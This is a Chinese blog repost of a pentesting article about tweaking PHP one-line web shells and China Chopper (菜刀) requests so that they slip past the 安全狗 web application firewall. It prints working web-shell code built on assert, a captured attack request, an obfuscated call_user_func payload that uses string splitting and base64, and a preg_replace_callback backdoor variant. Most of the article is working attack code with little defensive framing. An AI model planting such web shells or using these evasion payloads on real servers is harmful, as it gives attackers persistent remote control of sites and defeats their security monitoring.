通过修改源代码达到菜刀无特征链接

2019-09-11 约 745 字 预计阅读 2 分钟

声明:本文 【通过修改源代码达到菜刀无特征链接】 由作者 小透明yo 于 2019-09-11 09:04:00 首发 先知社区 曾经 浏览数 748 次

感谢 小透明yo 的辛苦付出!

0x01 前言:

一句话好做,但是过了马子还得过狗。

0x02 思路分析:

思路还是很好分析的,毕竟2019年了,站在巨人的肩膀上,前面有那么多大佬前赴后继的研究。

  1. 语法特性
  2. 回调函数

以下文章将会从三个点来进行分析与实践。

0x03 实验:

0x01 类:


上图中可以得出,在assert函数中不能够使用类,所以思路一被pass掉了.

0x02 函数:

函数这条路也走不通,oo,只剩下回调函数了.

0x03 回调函数:

PHP中的回调函数比较常用的共4个:

  1. call_user_func
  2. call_user_func_array
  3. array_map
  4. preg_replace_callback

我们一个一个分析,首先将马子部署到服务器上,代码为:

<?php
assert($_POST['xxx']);
?>

然后将菜刀的请求包抓下来:

POST /best_php_shell.php HTTP/1.1
User-Agent: Java/1.8.0_221
Host: 10.165.143.19
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 93
Connection: close

xxx=[payload]&action=phpinfo();

首先必须确保脚本能够正确执行,在assert或者eval中,不能够使用function 以及class。

说完这个,在回到回调函数:call_user_func

语法:

call_user_func(函数名,参数1,参数2);

使用到马子:

发现执行成功了。但是这样是会被安全狗拦截掉的。

所以还需要在魔改一下:
当使用如下payload:

xxxx=call_user_func('ass'.'ert',call_user_func(base64_decode,$_POST[action]))&action=%63%47%68%77%61%57%35%6d%62%79%67%70%4f%77%3d%3d

这样就可以绕过了:

其他的call_user_func_array、array_map、preg_replace_callback

也是同理,现在要思考的可变性,如何才能减少安全狗等软件的匹配呢?想来想去也只要在代码里面做手脚了。

最后想来想去,好像也只能改代码了,因为在assert中局限性太大了,也算是一个不足之处吧。

接下来使用preg_replace_callback函数,代码如下:

<?php

function test($name){
    $name[1](base64_decode($name[2]));
}

preg_replace_callback("/-(.*?)-(.*?)-/",$_POST['func'],"-assert-{$_POST['action']}-");
?>

POST传参过去:

修改C刀配置文件:

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now